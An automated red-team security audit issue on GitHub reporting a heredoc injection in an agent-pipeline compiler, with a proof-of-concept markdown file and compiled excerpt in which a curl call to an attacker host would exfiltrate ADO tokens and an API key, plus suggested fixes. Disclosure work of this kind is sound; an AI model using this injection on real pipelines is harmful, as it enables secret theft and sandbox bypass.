Skip to content

πŸ”΄ Red Team Audit β€” High: Agent markdown body heredoc injection allows arbitrary bash executionΒ #260

@github-actions

Description

@github-actions

πŸ”΄ Red Team Security Audit

Audit focus: Category A (Input Sanitization & Injection) β€” heredoc injection via agent_content
Severity: High

Findings

# Vulnerability Severity File(s) Exploitable?
1 Agent markdown body heredoc injection High src/data/base.yml:148-156, src/data/1es-base.yml:177-185, src/compile/common.rs:38-79, src/compile/mod.rs:62 Yes β€” arbitrary bash execution with full network access + secret access

Details

Finding 1: Agent Markdown Body Heredoc Injection (High)

Description: The agent markdown body (\{\{ agent_content }}) is embedded verbatim into a bash heredoc in the generated pipeline YAML. The markdown body is never sanitized for the heredoc terminator string AGENT_PROMPT_EOF. If the body contains that string on a line by itself, it prematurely closes the heredoc and any content appearing before the template's actual terminator executes as bash.

In src/compile/mod.rs, markdown_body is passed directly to the compiler without sanitization:

let (mut front_matter, markdown_body) = parse_markdown(&content)?;
front_matter.sanitize_config_fields();   // ← only front matter is sanitized
// ...
compiler.compile(input_path, ..., &markdown_body, ...)  // ← raw markdown body

In src/data/base.yml (and identically in 1es-base.yml):

      - bash: |
          cat > "/tmp/awf-tools/agent-prompt.md" << 'AGENT_PROMPT_EOF'
          \{\{ agent_content }}
          AGENT_PROMPT_EOF

replace_with_indent adds the template's indentation (10 spaces in base.yml, 20 spaces in 1es-base.yml) to every line of the markdown body. Since these are also the YAML block-scalar common indentation widths, they are stripped by YAML parsing before bash sees the script. The result: any line containing exactly AGENT_PROMPT_EOF in the markdown body arrives at bash with no leading whitespace and closes the heredoc.

Attack vector:

  1. Attacker crafts a .md pipeline definition whose markdown body starts with the heredoc terminator on its own line followed by commands:
    ---
    name: "My Agent"
    description: "Legitimate-looking agent"
    permissions:
      read: my-arm-connection
    ---
    AGENT_PROMPT_EOF
    curl -s "(attacker.com/redacted)
  2. ado-aw compile succeeds without any warning or error.
  3. When the pipeline runs, the "Prepare agent prompt" bash step closes the heredoc at the first AGENT_PROMPT_EOF (writing an empty file to /tmp/awf-tools/agent-prompt.md), then executes the attacker-supplied curl command.

PoC β€” compiled pipeline excerpt (after YAML block-scalar indentation stripping):

cat > "/tmp/awf-tools/agent-prompt.md" << 'AGENT_PROMPT_EOF'
AGENT_PROMPT_EOF                                        # ← closes heredoc early
curl -s "(attacker.com/redacted)
AGENT_PROMPT_EOF                                        # ← template terminator: runs as unknown command

ADO macro-expands $(SC_READ_TOKEN) (the read ADO token) and $(MCP_GATEWAY_API_KEY) to their real values before bash executes the script. The curl request therefore carries the plaintext secrets (they are masked in ADO logs, but the network request contains the real values).

Impact:

  • Arbitrary bash execution on the pipeline runner with full network access (AWF is not yet active when this step runs β€” it starts several steps later).
  • SC_READ_TOKEN exfiltration: the read ADO access token, if permissions.read is configured.
  • MCP_GATEWAY_API_KEY exfiltration: the MCPG API key generated earlier in the same job, enabling a remote attacker to call SafeOutputs tools directly and bypass agent sandboxing.
  • Workspace file access: full read/write access to all checked-out repository files before the agent even starts.
  • Affects both standalone and 1es pipeline targets.

Covertness: Unlike adding malicious content to the steps: front matter field (which security reviewers know to audit), the markdown body is treated as benign human-readable instructions. A reviewer would not flag AGENT_PROMPT_EOF appearing in what looks like documentation or a heading. The attack survives typical PR code review.

Suggested fix (multiple layers recommended):

  1. Randomize the heredoc terminator at compile time β€” generate a random alphanumeric token (e.g., UUID) as the terminator for each compiled pipeline so an attacker cannot predict or embed it:

    let heredoc_token = format!("AGENT_PROMPT_{}", uuid::Uuid::new_v4().to_simple());

    This eliminates the injection vector regardless of content.

  2. Sanitize the markdown body β€” before embedding agent_content, escape or remove lines that exactly match the known terminator:

    let safe_body = markdown_body.replace("AGENT_PROMPT_EOF", "AGENT_PROMPT_EOF_");
  3. Avoid heredoc for agent prompt β€” write the file using a method that doesn't depend on a terminator, for example base64-encoding the content:

    echo '<base64-encoded-content>' | base64 -d > "/tmp/awf-tools/agent-prompt.md"

The randomized-terminator approach (option 1) is most robust because it prevents injection regardless of content length or structure, and works even if new template markers are added in the future.


Audit Coverage

Category Status
A: Input Sanitization & Injection βœ… Scanned β€” new finding above
B: Path Traversal & File System βœ… Scanned β€” no new vulnerabilities
C: Network & Domain Allowlist Bypass βœ… Scanned β€” no new vulnerabilities
D: Credential & Secret Exposure βœ… Scanned β€” finding above exposes SC_READ_TOKEN + MCP_GATEWAY_API_KEY
E: Logic & Authorization Flaws βœ… Scanned β€” no new vulnerabilities
F: Supply Chain & Dependency Integrity βœ… Scanned β€” no new vulnerabilities

Previously open issues: #238 (pool name YAML injection, High) and #209 (Docker flag validation, Medium) remain open and unaddressed.


This issue was created by the automated red team security auditor.

Generated by Red Team Security Auditor Β· ● 5.1M Β· β—·

Metadata

Metadata

Assignees

No one assigned

    Labels

    Type

    No type
    No fields configured for issues without a type.

    Projects

    No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions